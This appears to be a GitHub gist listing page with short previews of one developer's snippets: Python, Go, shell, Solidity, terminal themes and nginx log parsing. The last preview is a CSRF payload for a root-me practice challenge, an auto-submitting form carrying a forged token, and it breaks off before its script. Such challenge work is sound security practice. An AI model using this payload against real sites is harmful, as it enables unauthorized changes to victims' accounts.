Skip to content

Instantly share code, notes, and snippets.

@vkobel
vkobel / async_http_get.py
Last active May 5, 2017 07:58
Async http get using aiohttp
import aiohttp
import asyncio
def async_http_get(urls, extractor=None, json_response=True):
tasks = []
sem = asyncio.Semaphore(32)
async def fetch(session, url):
async with session.get(url) as response:
if json_response:
@vkobel
vkobel / hexKeyToPem.sh
Last active April 19, 2017 13:32
Convert hex public key (ECDSA, secp256k1) to pem format
#!/bin/bash
readonly ASN1_PREFIX='3056301006072a8648ce3d020106052b8104000a03420004'
if [ -z "$1" ]
then
echo "Hex key should be supplied as first argument!"
exit 1
fi
key=$ASN1_PREFIX$1
@vkobel
vkobel / chunk-process.go
Last active March 13, 2017 15:41
Separate an array into chunks and process them asynchronously. Then returns the results using go channels
package main
import (
"fmt"
"time"
)
const processes int = 4
func Chunkate(data []int, fn func([]int, chan int)) []int {
@vkobel
vkobel / .Xresources
Last active February 23, 2017 07:42
Solarized theme for URxvt
! Appearance
URxvt*font: xft:terminus:size=10:antialias=true
URxvt*cursorColor: #DCDCCC
! General
URxvt*scrollBar: false
URxvt*secondaryScroll: true
URxvt*saveLines: 65535
URxvt*cursorBlink: true
URxvt*urgentOnBell: true
@vkobel
vkobel / KobyShop.sol
Last active December 23, 2016 09:33
Simple Ethereum contract to act as a shop
pragma solidity ^0.4.6;
contract KobyShop {
struct Item {
string name;
uint price;
bool forSale;
address owner;
bool initialized;
}
@vkobel
vkobel / queryWall.js
Last active November 24, 2016 08:30
Ethereum simple contract storage using logs (events) and query it
var newWall = eth.contract([{"constant":false,"inputs":[{"name":"message","type":"string"}],"name":"publish","outputs":[],"payable":false,"type":"function"},{"payable":false,"type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"message","type":"string"},{"indexed":false,"name":"addr","type":"address"}],"name":"LogMessage","type":"event"}]).at("0xfFf537A2E812B0Cd738bf913a476FE45Bd5484bE");
var msgEvt = newWall.LogMessage({}, {fromBlock: 0, toBlock: 'latest'});
function getLogs(){
msgEvt.get(function(err, logs){
for(var k in logs){
console.log(logs[k].args.message);
}
})
cat $1 | egrep "/search-results.*/" |
sed -n 's/.*id=\(.\{6\}\).*client=\([^{ ,"}]*\).*/\1 \2/p' |
sort -u -k1,1 | sort -k2,2 | uniq -f 1 -c | awk '{ print $3 ";" $1 }'
#!/bin/bash
# filter on 2 colums (id=... and datetime) then sort and uniq by the first col only (id) the sort by datetime
cat /var/log/nginx/access.log | sed -n 's/.*\[\(.\+\)\].*id=\(.\{6\}\).*/\2 -> \1/p' | sort -u -k1,1 | sort -k3
# output would look like:
# d77ea4 -> 13/Sep/2016:07:17:36 +0200
# 11ff21 -> 13/Sep/2016:07:45:10 +0200
# 628bf5 -> 13/Sep/2016:07:52:09 +0200
# 9d8a4c -> 13/Sep/2016:07:56:53 +0200
@vkobel
vkobel / .Xresources
Created June 10, 2016 13:02
Custom monokai themed Xresources file (tested with URxvt and i3)
! special
*.foreground: #d1d1d1
! *.background: #221e2d
*.cursorColor: #d1d1d1
! black
*.color0: #272822
*.color8: #75715e
! red
@vkobel
vkobel / payload.html
Created February 19, 2016 09:58
CSRF payload for token based mechanism (root-me sample)
<body onload="get()">
<form id="form-payload" action="?action=profile" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="your_username"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="forged-token" name="token" value=""/>
<input type="submit" value="go"/>
</form>
<script>